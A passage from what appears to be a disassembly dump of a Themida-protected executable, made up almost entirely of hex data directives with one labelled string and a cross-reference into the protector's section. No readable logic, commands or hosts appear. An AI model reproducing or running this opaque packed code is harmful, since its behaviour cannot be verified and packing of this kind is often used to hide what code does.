74BB1E5h dd 27A60054h, 2C781B5Fh, 0A7F3A0D6h, 2C781F5Dh, 0A6F29FD6h dd 582C9E0Ch, 0AB1D46E0h, 0ED6D8E27h, 65E8E24Eh, 94F89DD2h dd 27D804CAh, 0D425DC84h, 6D90C448h, 0BAD6BAC4h, 160556E4h dd 60F812BDh, 0EF7EF03Eh, 6CF3675Dh, 2E42DA11h, 655B2D8Dh dd 0D3116CF3h, 92666F9Dh, 0E22E24C5h, 2ECh, 280F24BBh dd 0E85A04E1h, 12BC7D53h, 9E0BE26h, 0E15ECC73h, 5C8A29D6h dd 480859E6h, 0BE8792E4h, 1C9952E0h, 0C66C0F6Ch, 1BEA8074h dd 76BF30Eh, 0D42AC359h, 63093DCAh, 1FBDB7C1h, 0CE300E1Ch dd 2784E88Dh, 0A27B8E87h, 19D14EFCh, 0FC640982h, 48E96CA2h dd 0A46FE61Ch, 462A8637h, 0E829192Ah, 75DDEB77h, 2E3A4h dd 0D48BCD00h, 40F57A80h, 0C86DEE14h, 46F3669Ch, 0C96AE812h dd 0C8BA3B9Dh, 47BDE98Ah, 0C2386C0Fh, 43B9ED92h, 913B6F0Ah dd 0E0BBB103h, 820E1D46h, 421B6E2Bh, 0FDA2D21Ch, 0CC9E3D51h dd 0A61FF47Eh, 31A46A12h, 0A6582380h, 0B2EC8035h, 0B73BFE7Ch dd 0F8366804h, 625AE87Bh, 0D51165EEh, 0DA82214Dh, 0AD01B220h dd 0AD8069F3h, 0F54A7478h, 8A2C0076h, 619F1165h, 82EE42F1h dd 6374DEEh, 9CE2B8BDh, 0D17D2252h, 5B51E3BDh, 0AE11658Ah dd 5A939536h, 44C68CBFh, 0F65EE244h, 24727h, 781F5100h dd 0FCA1D62Ch, 7C2152A8h, 0F29FD228h, 7D1E5CA6h, 740E8F29h dd 0FB015506h, 6E94C073h, 0E71D49EEh, 3D97C36Eh, 0E2271DAFh dd 169A1D46h, 421B6EBFh, 1F44AE1Ch, 2BB312A6h, 8639BB75h dd 0B4C462Ah, 9AAC66Ah, 0ECE9DFA9h, 19571165h, 0C316E2EBh dd 0A36D2E1Dh, 4824882Bh, 186B2EBh, 6DEB0000h, 0BBE549E8h dd 0F0530275h, 86D27FF6h, 0D532A7Fh, 0BC7570BFh, 77DB4312h dd 6C532F01h, 3ED78911h, 72944925h, 58F978EBh, 57F498F4h dd 0EA9EE715h, 1A2E237Fh, 25h, 421B6E43h, 0C48861Ch, 99B2C86Bh dd 2C12BC48h, 9A6E18B4h, 0E6116C38h, 47313CA8h, 0B72E240Ah dd 0B2h, 2FE86DEEh, 0CAA60AADh, 0D2000AA6h, 4E878D21h dd 0D567FDA3h, 175666DFh, 0BEE7CA52h, 0CE730983h, 161CBC1Fh dd 0C86632DFh, 8F23D006h, 0AA65585h, 0D3A90A66h, 1756F783h dd 7F2BC60Fh, 3BD61FD1h, 0B18C9D98h, 4ECD5DEFh, 0BC5512BBh dd 6CC89AC1h, 66CEC5D3h, 2053311Ch, 0BF275CFFh, 5B927BE1h dd 0CE2C62CEh, 0E11117B4h, 5E9C6632h, 0CBD28EBDh, 0FE56E23Fh dd 10F2Fh, 20D71900h, 94498E74h, 4B93AC0h, 8A27AA50h, 5B624DEh dd 0C76F751h, 83792DCEh, 6FCA84Bh, 8F7521D6h, 55FFAB46h dd 0E37F75C7h, 7EF21D46h, 4EED6DD7h, 0CC6DE01Ah, 0E86DC198h dd 99F5A82Fh, 16C509C7h, 9F3CDD1Ch, 11C0353Fh, 0F66DBC45h dd 0E5BBD784h, 5A29770Ch, 0FF7393FDh, 0C193305Ch, 0BCF19C73h dd 6937AF12h, 0E1DB69F3h, 54116CE0h, 0E78B28AAh, 22104244h dd 812349DAh, 11452954h, 6C69A197h, 35E46911h, 8037A56Bh dd 0BBE3402Ch, 473D8F15h, 0BA116C6Ah, 53878122h, 0BB520CA0h dd 0A0DC7610h, 0AFC2D2FFh, 6134E94Ah, 6D000000h, 1C421B6Eh dd 0A61F40AEh, 0FD718F12h, 0F29EF25Eh, 7021545Eh, 0FA97DE24h dd 0E1E22056h, 63693095h, 7623AAF1h, 0C075E628h, 0FBA3006Ch dd 812DCC01h, 7AB468Bh, 3C7BE957h, 0DC4618B9h, 5D406E35h dd 87F19619h, 0EF9628ADh, 74C69800h, 0EF962980h, 90C86BF3h dd 9A36E36Ah, 34Bh, 0A5081200h, 9834EB6Dh, 12BE5B92h, 973BDC18h dd 16BA599Dh, 913DDE1Ch, 8A4579Bh, 8E22CF02h, 0AA65784h dd 822ECF00h, 71968E9h, 4890000h, 0E2895224h, 4C281h, 0EA830000h dd 24148704h, 241C895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 52240489h, 160BB4BAh, 2EAC128h, 928EA81h, 81520415h dd 54162434h, 815B2642h, 425416F3h, 8B545A26h, 0C4812404h dd 4, 8B951h, 0C1010000h, 0C8B1989h, 4C48324h, 582434FFh dd 0FF04C483h, 815B2434h, 4C4h, 54E900h, 8F2FFFFAh, 0ECAE0F92h dd 1856411Dh, 22118253h, 7DA8B8FCh, 0C50305F0h, 0B11EE0FFh dd 0D2015581h, 0B4283052h, 14E819C9h, 0C4000000h, 40C18CBFh dd 0A14BEAE5h, 43004711h, 141319C0h, 6641E8D4h, 0EB2C281h dd 5850F58h, 66000000h, 9EF0D381h, 64E1C081h, 0C3810000h dd 50EE3CD7h, 6D3597BEh, 8BEE8111h, 0B5116D1Ch, 5F30FF3Ch dd 81DEBF0Fh, 272AEDC7h, 81D98B35h, 87FF1FC7h, 0E380605Dh dd 3CC7819Dh, 614B13EEh, 4B7DF781h, 57564C4Dh, 5B59A9B6h dd 10E93889h, 0BC000000h, 0BF8E74BFh, 54C95716h, 0FB315E7Dh dd 83B47C7Ah, 0EE803E8h, 99000000h, 186E68B4h, 88726ABBh dd 0C5A6C518h, 68D0FA4h, 0F000000h, 83h, 66485900h, 4EAE181h dd 1EE81h, 850F0000h, 0FFFFFF89h, 7FB68D8Dh, 8D8905F0h dd 5EA0ADDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 29C35545h, 51F813F4h, 5CB090BFh, 85C75E41h, 5EA0ACDh dd 7094h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 92C35343h, 0EBB860D9h, 8B77D699h, 0EA14A195h, 0F585C705h dd 5EA25h, 89000000h, 0EA19ED85h, 0DB58B05h, 0FF05EA0Dh dd 0EA0C71B5h, 0CC84BA05h, 95FF7473h, 5EA2A19h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 25C35040h, 87F280DDh dd 95FF006Ah, 5EA1015h, 5EEBC08Bh, 0ADBF2B93h, 36CAEA5Ah dd 3F91B27h, 0E96AE032h, 0C25D8436h, 1BC03512h, 0D3E672F0h dd 901BA061h, 70A4975Ch, 55FBBA53h, 0A86EF82Ch, 0DD006133h dd 4D3A13B7h, 0CE7C5442h, 0EA88A4EFh, 0C087C210h, 0B0CDF93Dh dd 6CDCCDEDh, 0DA817EF9h, 240BD605h, 5A0C74B5h, 61E7C6F3h dd 1B7B1EECh, 8D8DD6EDh, 5F08093h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 30C35040h, 82FE2A54h, 9D89E58Ah dd 5EA0B41h, 0ADD8D89h, 850105EAh, 5EA083Dh, 0ACD85C7h dd 699C05EAh, 8D890000h, 5EA2A15h, 25F585C7h, 5EAh, 0B5890000h dd 5EA0815h, 3DB5FFh, 958905EAh, 5EA1569h, 1995FFF8h, 0B05EA2Ah dd 0EA00BD9Dh dd 0FF006A05h, 0EA101595h, 0EBC08B05h, 0D0E24F4Eh, 0D8BA5EC4h dd 6DFA2D31h, 0E226968Eh, 917CAD41h, 0C0662F06h, 0A9359522h dd 8F4D8916h, 7BDF75C0h, 0C428DB2Ah, 3B4E1176h, 0D6E2CD43h dd 0E0A2640Ah, 0A4A6A2FAh, 0B27B07D1h, 0C5332C16h, 93845CAFh dd 87D124E7h, 0BA942729h, 53EE6416h, 5DB13EE8h, 0ACF53256h dd 55F501EEh, 0ABB13256h, 0D5B13256h, 0EAE8C286h, 75EA1E83h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13254h, 57B63581h, 0ABAB3252h, 0D5853247h, 0EBA63261h dd 77F93256h, 0B8F93256h, 0FE1F27Dh, 9FBE5336h, 13E68C30h dd 0F9E16A0Ch, 0E4BE6D06h, 0B0468559h, 15E1530Eh, 3D76006h dd 6CBE68B5h, 0F448B930h, 364FB90Eh, 0B73EDCC0h, 0DD68B373h dd 3909873h, 75B13250h, 6705B590h, 32C1104h, 8A8DBB37h dd 86305403h, 0AD580AAEh, 0E3B13256h, 28BC9661h, 7AD0AF85h dd 0EAE36267h, 7803D04h, 0CE803D0Eh, 0DE96837h, 8FB5B30Eh dd 0CB9789B2h, 0EAB13250h, 58F56580h, 0DB2CC134h, 3DD10359h dd 7E0E3D37h, 0C4E96837h, 8727C6ECh, 8DEB5351h, 61EB37C6h dd 313A6A0Ch, 30D13672h, 20954B8h, 0AE3A539Bh, 130A5236h dd 3785B2FAh, 0D5B13ABFh, 44988256h, 0CF54EE19h, 5330543Dh dd 5158CFD0h, 0DAB13256h, 0B75220CBh, 0A78E6CCFh, 48EA5803h dd 0E158AE37h, 42B13256h, 69733FF2h, 72BF3B46h, 5E30F76Ah dd 64E5B27Eh, 0ABB134BFh, 196D456h, 7772402Bh, 51F5BB37h dd 0E8E15252h, 5DBADBCAh, 0AAA63256h, 270210BBh, 37BE5CBFh dd 43054F3h, 0EC5800DEh, 33B13256h, 68EC0651h, 6CBEAFF5h dd 0AEB121BEh, 427DCD56h, 3A09297Ch, 18D5C5A0h, 2361A1D4h dd 0F04DDD98h, 0DBE9680Eh, 5DB1320Eh, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 0AD3297BCh dd 0C934BF53h, 0DEB4DDB0h, 5B31C9D4h, 0B933BF53h, 63B4C374h dd 8531CDD4h, 0B3FFDA53h, 26593256h, 69B13256h, 0A731D9D4h dd 0ABB13253h, 50776056h, 0EF5B2813h, 0CDE35A00h, 0F4EAEFEh dd 585B11DBh, 111B7DBh, 874E37BBh, 884CB7DFh, 0D1DB37BCh dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h dd 0A731D9D4h, 4433BB53h, 6CB4C2D6h, 0EAB23F16h, 0B582CADDh dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 5623CD56h dd 8FB4D875h, 6B8EB0DFh, 0FED037A6h, 4A31D9D3h, 9AD1F153h dd 449F07D4h, 17B13253h, 0EA33F556h, 0D5B4D864h, 8BB13246h dd 0CF3A5295h, 0BF41B2BDh, 29B10DD5h, 0BECEB175h, 0D4BA4654h dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h dd 6E2BD8D7h, 0C73A37A6h, 0BF41B315h, 0D4B977DDh, 0ED33B150h dd 53B4C2D7h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 0F10FD8D7h dd 83A37A6h, 5841B369h, 2FF2806Dh, 6CC537A6h, 743A0CDDh dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h dd 0AB5B1F33h, 7E74BFDDh, 738A37BCh, 0C8A3B24h, 2C323721h dd 4E78D952h, 33B94699h, 0B798F7EBh, 0CF06D953h, 57595295h dd 0F1B13256h, 50A7D8D7h, 503A37A6h, 7041B369h, 0BAB032EFh dd 0AE710156h, 9133B9FDh, 0DEB4C2D7h, 5B3071D4h, 0B5725353h dd 0EAB132BEh, 9F306856h, 0BF41B716h, 47F4B790h, 0C6E737BCh dd 83AE5F6Fh, 883C87A9h, 503C37BCh, 0EF5C9DF6h, 25E3E2A9h dd 0BA31323Eh, 0A2B15856h, 5E31D9E4h, 0F61CD53h, 2BB15A0Ch dd 0D5DB3256h, 6B8E80A9h, 0A54E37A6h, 31E4F137h, 5D5952BAh dd 0F4B13256h, 0D23FD8D7h, 0DE3A37A6h, 0D729DA5Eh, 15E43256h dd 8531C9C4h, 0CF8A6F53h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h, 3F73D8D7h dd 283A37A6h, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h dd 784E67AEh, 7041B2ADh, 0B6C4090Bh, 0D6D72022h, 5E56B248h dd 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh, 8A4ECC0Bh dd 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh, 0F8E06401h dd 0D5497791h, 2DB13256h, 853019D4h, 0BAB13353h, 55C4B956h dd 25AFB930h, 0A731D9ECh, 0A3EEB953h, 0DAC5E95Dh, 0ECC4EC6Dh dd 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh, 99353DBEh dd 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h, 0BAB18ED2h dd 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h, 0B3B13256h dd 9D6C9D7h, 7529B659h, 5D313256h, 0A63054A6h, 2ABEB259h dd 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h, 0F5AFB930h dd 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h, 0C38FB26Eh dd 574E0122h, 0EF41B37Dh, 0F5AFB930h, 3BD7CAB1h, 2959B3ADh dd 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h, 6A4AA0A9h dd 0FCEC37A6h, 39D0CE13h, 28B0CE2Bh, 9B0BB935h, 7B4D878h dd 2A9AB0DDh, 0E98837A6h, 0BAC36A66h, 47F088DDh, 31E137BCh dd 0AD3019D4h, 9E8D0B53h, 0BC8C4D0Eh, 53F4F546h, 0D5B13254h dd 0AF7635BDh, 75B133AEh, 510BB956h, 0D6B4C2D6h, 0DA6A3949h dd 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h, 71EEBBAEh dd 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h, 50313E2Bh dd 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h, 5DB07591h dd 25B13256h, 5271B191h, 0ABB1A5BFh, 0D2765456h, 0F43B3A59h dd 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h, 9732F5DDh dd 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h, 2A4E4CD7h dd 0B6B346C6h, 4576B952h, 1033BF09h, 0FBB4C2D7h, 2A23CD00h dd 0E1B4C2D6h, 0FEBB4696h, 0FD03BF9Eh, 0B6B4C2D7h, 603A6446h dd 0AC23CD03h, 0F6B4C2D6h, 0C46FC7Dh, 12CCB108h, 0C5A14757h dd 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh dd 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh, 5F5A9957h dd 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh, 0B55DB903h, 0EAB132BEh dd 9F306856h, 0BF41BA76h, 0D4B977DDh, 5E31C1D4h, 95785353h dd 20E43252h, 2D75B1BAh, 0EAB1DA36h, 0F4EB3256h, 4A3973BCh dd 0A5F4F553h, 0AEB13256h, 574D7791h, 98B13256h, 0CB3A5496h dd 6B9AB091h, 75B037A6h, 3BD73256h, 2821A2ADh, 464AB256h dd 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h, 9E4AB216h dd 0BA45B659h, 0DDF13256h dd 2FD7C2B1h, 58313DADh, 0ABB1D7D2h, 9C333156h, 0AAB4D843h dd 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h, 0AE0DB659h, 0D6D73256h dd 0A45255ADh, 0D5B188D2h, 1A52B256h, 7AC1C9D6h, 0BAB187D2h dd 433A5456h, 2E49D1D6h, 10C58AADh, 0DFB40CD6h, 0F88FB214h dd 0D4310F22h, 3589463Eh, 3B9AB0A9h, 0D6D737A6h, 5656B248h dd 0D64AB330h, 0CD9546BEh, 32312CDDh, 113054A6h, 62C5F2D7h dd 284E6736h, 5841B2ADh, 52F4BB0Bh, 0ABCCB137h, 83343D57h db 57h, 32h aQ_0 db '╠^Л',7,'÷',0 ; DATA XREF: Themida_:005489B8o dd 0F73A6253h, 0BF41B37Dh, 5810E6Fh, 0AFA0B059h, 0ED3A3256h dd 0AE5B0017h, 0FE33B906h, 0D3B4C2D7h, 7AE9026Ah, 0BAB1C8D9h dd 0B20BB956h, 2DB4C2D6h, 0A731DDD4h, 9C382653h, 85A175DFh dd 6B9AB0DDh, 693A37A6h, 0E5386A66h, 5D64DB5Eh, 0EB763256h dd 57B130AEh, 6CB6D956h, 0D5B0CA13h, 503A3256h, 7041B2B9h dd 3A5EB0D5h, 0D4A537A6h, 0BEF6BB61h, 22B2CAD5h, 8033F55Ah dd 0D7B4C2D7h, 1B13256h, 7749B153h, 0C7326D2Bh, 46C532AEh dd 0AFF78459h, 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh dd 9D323256h, 0E9BAD953h, 0DC9AA8DDh, 0AA3A37A6h, 57186965h dd 0DE313256h, 56773142h, 68B23796h, 7041B37Dh, 0B2F6BB1Eh dd 0B6BD75DFh, 8569C500h, 0D469C590h, 29B23796h, 0D041B37Dh dd 0E2F6BB1Eh, 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h dd 0ECB3F2D5h, 0ABB13257h, 0DCC5E95Dh, 5C41A8DCh, 963137B9h dd 33723157h, 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h dd 1532EAA1h, 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh dd 0AE5952AAh, 0DB13256h, 21E3D8D7h, 6F3A37A6h, 0EF41B2BDh dd 4A32FB65h, 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h dd 0ABB041BEh, 56B44156h, 85A2691h, 8A4D77DFh, 0CF4E3E23h dd 0B586CD5Eh, 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh dd 0EAB1BED4h, 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah dd 0A8093CBDh, 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h dd 0C5323D22h, 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h dd 3EBD6DDDh, 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h dd 0ADA1677Dh, 83A2603h, 286B195Ah, 3EEB37BDh, 0EEF6B944h dd 5EBD6DDDh, 51323609h, 9C3B3153h, 2DB4D84Fh, 22B22229h dd 729A7357h, 0D4B06EDFh, 154ECDEEh, 75B48BA9h, 11423256h dd 0A24E64BFh, 6C7853A9h, 0DCE43246h, 5775B1BAh, 0D5B1DA36h dd 6BEB3256h, 853A0FBCh, 510BB953h, 6EB4C2D6h, 0AE8EB19Fh dd 5720B659h, 0AC3A3256h, 2ABD47A9h, 2E13A23h, 75B132DEh dd 7D323725h, 0D453D942h, 0DB4ECE13h, 5FC4CD5Ah, 0DA5905A9h dd 0A7B13256h, 16F4B93Ch, 16C3356Fh, 394D77A9h, 29B13629h dd 0A2CEB15Eh, 0BCB34656h, 544E8A58h, 0D008CDA9h, 19B13256h dd 0F67AD9FDh, 0CEB42229h, 4DCEB159h, 0EFA04750h, 0DCB575DDh dd 0B65A3E09h, 5EB575DDh, 0F95A3E09h, 0FEB575DDh, 0E59A3E09h dd 585AB152h, 0ADA14DD5h, 7CF03323h, 0AAEDBB8Fh, 2A4E8A57h dd 0EF08CDA9h, 86B13256h, 0DB36D9FDh, 5DB9F09Fh, 0CE5DB903h dd 6CB977DDh, 0A3C33E13h, 0A2A1776Dh, 0E95ACA55h, 14B1D9AFh dd 0BABDF09Fh, 0DE5DB903h, 46D1CE92h, 57B13256h, 0B85BB30Ch dd 0E6B4C2DAh, 636A019Fh, 0CF3ACE0Bh, 0BF41B2BDh, 29B10DD5h dd 518EB132h, 90323723h, 2840D942h, 0A1B13629h, 0E6CEB15Eh dd 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h, 0BECEB18Dh, 0D4BE4653h dd 0DEB72229h, 923A7347h, 0E6EEB952h, 323A2FBDh, 0B6EEB952h dd 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh, 0D43237BDh, 0D4C43146h dd 63681917h, 0CDB0330Ah, 454ECDA9h, 5DB137EFh, 451AC156h dd 123A53C1h, 0FB72FBAAh, 0D5596107h, 0B0B13256h, 0F92FD8D7h dd 203C37A6h, 5841B355h, 0AEB156EEh, 5763DA56h, 0A03A3256h dd 0C15AF36Dh, 0D1B57955h, 76A64097h, 7B8A221Dh, 5F5A3024h dd 0BC5A26BDh, 7344A8DBh, 784E37A7h, 4F3C3ABDh, 0EF401A4Dh dd 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh, 2FEB3256h, 0A73DDFBCh dd 113C5253h, 0D041B355h, 63B977DDh, 79F4B951h, 31B575DFh dd 1A382213h, 0BAF4B95Ah, 36A175DFh, 0ABA1F09Fh, 9034F436h dd 0ADB4D84Ch, 62C2283Eh, 3704CDFEh, 0D0B4D875h, 431E92D3h dd 561CD53h, 2A9EB8DBh, 2AE037A6h, 683C6886h, 7041B379h dd 0B6F18559h, 52E3EADDh, 6DB26867h, 41DCB0DFh, 0C3D037BCh dd 0E85251h, 5A000000h, 8D5EEA81h, 8B5205F0h, 0EA166D82h dd 4E6DB905h, 0E1F741C6h, 3039055Ah, 0FF250000h, 897FFFFFh dd 0EA166D82h, 0C3595A05h, 0E85251h, 5A000000h, 8D8EEA81h dd 0C88B05F0h, 0FFFFBBE8h, 0F7D233FFh, 5AC28BF1h, 0C08BC359h dd 858DC08Bh, 5F0839Fh, 8B66D0FFh, 57858DC1h, 8905F08Dh dd 0EA183185h, 87858D05h, 8905F08Dh, 0EA2D2985h, 0B805h dd 0C00B0000h, 47840Fh, 85C60000h, 5EA1A45h, 30DF6856h dd 0B5FFA9C5h, 5EA238Dh, 0AFA0858Dh, 0D0FF05EDh, 998D8D50h dd 5105EA32h, 68046Ah, 0FF000010h, 0EA30A9B5h, 8BD0FF05h dd 0EA30A9BDh, 3C7F0305h, 0F8C781h, 47C70000h, 2024h, 0DD9D8D60h dd 8B05EA17h, 0FC00B03h, 584h, 89008B00h, 0F6B90443h, 8D00234Ch dd 0F08F128Dh, 0F6BB6605h, 0DD8D8972h, 6A05EA0Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0C7F5C357h, 68A0Fh, 66570000h, 586EB5BEh, 0EE9h, 8A204C00h dd 7C59F85Dh, 305FA29Dh, 8BD9BBBDh, 0EA30199Dh, 0CD85C705h dd 0F405EA0Ah, 6A000070h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 0C7D4C356h, 0EA25F585h dd 5, 0C8A0F00h, 0F000000h, 68Dh, 0E1BD8B00h, 0FF05EA08h dd 0EA1BC9B5h, 1995FF05h, 6A05EA2Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0A1BAC352h dd 0FCC62632h, 8E0F1533h, 8, 0B1858B52h, 5B05EA30h, 95FF006Ah dd 5EA1015h, 38EBC08Bh, 3A2AF8F8h, 3A66391Eh, 0FC5D66A2h dd 549F3790h, 0AFC47FFBh, 251E8E65h, 188B7B2Eh, 0D04886Eh dd 0D3AE2CC3h, 0EF497369h, 0B06A41E9h, 1A435200h, 1C31F989h dd 60EE825Eh, 8EBh, 8AE80000h, 10E945F4h, 68000005h, 5F09094h dd 0F9EF11E9h, 910768FFh, 7E905F0h, 68FFF9EFh, 5F09272h dd 0F9EEFDE9h, 38DF11FFh, 0BC61966Ch, 3CE112E8h, 0B25F9268h dd 3DDE1CE6h, 344ECF69h, 0BB4115C6h, 2ED48033h, 0A75D09AEh dd 7DD7832Eh, 0F6675DEFh, 56DA1D46h, 7CED6DFFh, 5666F6CEh dd 16C73417h, 7BF3F961h, 3EAB4D8h, 9382BC3Bh, 78D87BE6h dd 99FFCF26h, 0F38E1B5Eh, 0BB8B12DEh, 0EF4C978Ah, 0E1B564E9h dd 6A341118h, 0BD418BD8h, 0B8E67E12h, 0F6EC451h, 5AF9E011h dd 0EA6AA4FAh, 56F59935h, 6D1F5C2Ch, 34FAA411h, 0DC1812C3h dd 0AADA983Bh, 24F0D5A3h, 76E42A2Eh, 0A60569C5h, 301FFh dd 0F24A600h, 8436E128h, 175666B0h, 126CDA03h, 3E61ACE5h dd 0D2603E52h, 12BCD519h, 3CAE74ECh, 0A42014A6h, 0B93116Ch dd 3E25D2A8h, 53A6E449h, 0CD66D48Ah, 890F6D52h, 0C1621547h dd 878E22BAh, 6FF5AB72h, 1D1FE7DDh, 61C25A0Eh, 19068133h dd 79900983h, 1BCEE543h, 75F9F322h, 861E65C6h, 32DF16D8h dd 6CA0856Ch, 0FB01130Bh, 73FA0058h, 9EB4F5C6h, 60C8EB77h dd 31FB1h, 0C077F900h, 34E96E94h, 0A4599A60h, 2AC70AF0h dd 0A556847Eh, 0ACD657F1h, 23D98D2Eh, 0A65C08ABh, 2FD58136h dd 0F55F0BA6h, 0F6DFD567h, 0DE521D46h, 7FF73977h, 2F7A7FDCh dd 0F5BA0856h, 0C812A6E9h, 92C00E50h, 0D51BB5E1h, 5452F1A0h dd 0C22B7526h, 685A0BF3h, 4C2092A7h, 0BF116604h, 48E84B27h dd 0B9370F3Eh, 0EF8AC3E2h, 4458ADDCh, 0AE7FD7E2h, 2ACh dd 6531E66Ah, 0F1A5589Fh, 4115C80Bh, 0CF9B36BBh, 4216C535h dd 0D91965E4h dd 62946E3Ah, 0DD1FE5B1h, 61946E3Ah, 0DC4EE4B0h, 46F8966Eh dd 0CC65E91Dh, 1C421B6Eh, 6A0B4886h, 0E24EEF60h, 90572D8Eh dd 6312A6EAh, 0B63B5FBAh, 385486A4h, 440EE294h, 246A1166h dd 19DBADB8h, 0BA202E1Eh, 663C3408h, 3C6ADD11h, 253E9DE1h dd 3069CA52h, 1A2h, 49E86D69h, 8A66EFE5h, 1069E540h, 423A8815h dd 0B51756B2h, 792D412Dh, 0F2AC7980h, 0BCC11740h, 0DE72EA12h dd 6C9DD8A8h, 71265611h, 0F7A2D7DDh, 0B3217F5Bh, 44B0FE82h dd 24744F39h, 9C2EB42Eh, 116C95A8h, 3443F066h, 3B560FACh dd 0F000000h, 0D782F739h, 0B1B4177Bh, 71C39D68h, 12BC495Ah dd 0AFD975EDh, 116C37D9h, 51E37927h, 116C385Bh, 0D79536AEh dd 0AB058A5h, 0C6DC2E24h, 72000000h, 2C625AE8h, 4DD5116Ch dd 0D0394BEEh, 8FEF8262h, 540B4935h, 5BF894F8h, 0D579185Dh dd 54F89BDFh, 360AE30Ah, 81702DDh, 8928ADABh, 0B2927B25h dd 297E1BE3h, 3D510676h, 0A455989Eh, 62905EF0h, 3E6812B1h dd 701756A3h, 0CC025CFDh, 144CEF90h, 9FC19CEDh, 0DD7E1D51h dd 0FAAD3D8Fh, 0C45C12BAh, 7526549Ah, 0A597DB21h, 0B13089E9h dd 63559B0h, 0E2400F01h, 416EBF17h, 1F000001h, 887226D9h dd 38C29647h, 0B44E1ABBh, 3AC09445h, 0E94F1BB8h, 3BD81A68h dd 0B261956Fh, 3FE01CE6h, 0BD5C916Bh, 63D143E9h, 1D46F989h dd 39D970FCh, 671B11A3h, 0F66E1756h, 7C1F5355h, 0CF70EC22h dd 0F4AC0F63h, 7E2AC70Eh, 49E86D27h, 9321BBE5h, 17566699h dd 0D1D774ECh, 4AA3FD9Ch, 0C9F6985Fh, 0A52F1ABh, 81DFA6F3h dd 0BBD85C33h, 0A9F76F12h, 1E40F367h, 72C0A3D0h, 116BC87Ah dd 953955CDh, 0AC025AF9h, 0D9847245h, 46E5B12Dh, 6C4F4C3Ch dd 0AF8BC211h, 9B6ED08Fh, 0B5F3393h, 7ED281F1h, 9BAFh dd 1B6EF600h, 6F861C42h, 0A959D2FEh, 1D1761F5h, 901756D3h dd 0D2B4883Ah, 9F071756h, 0C47BF9F3h, 0DC873567h, 0AF12A755h dd 893A0076h, 0CDA14CC9h, 17A53F61h, 11656A1Dh, 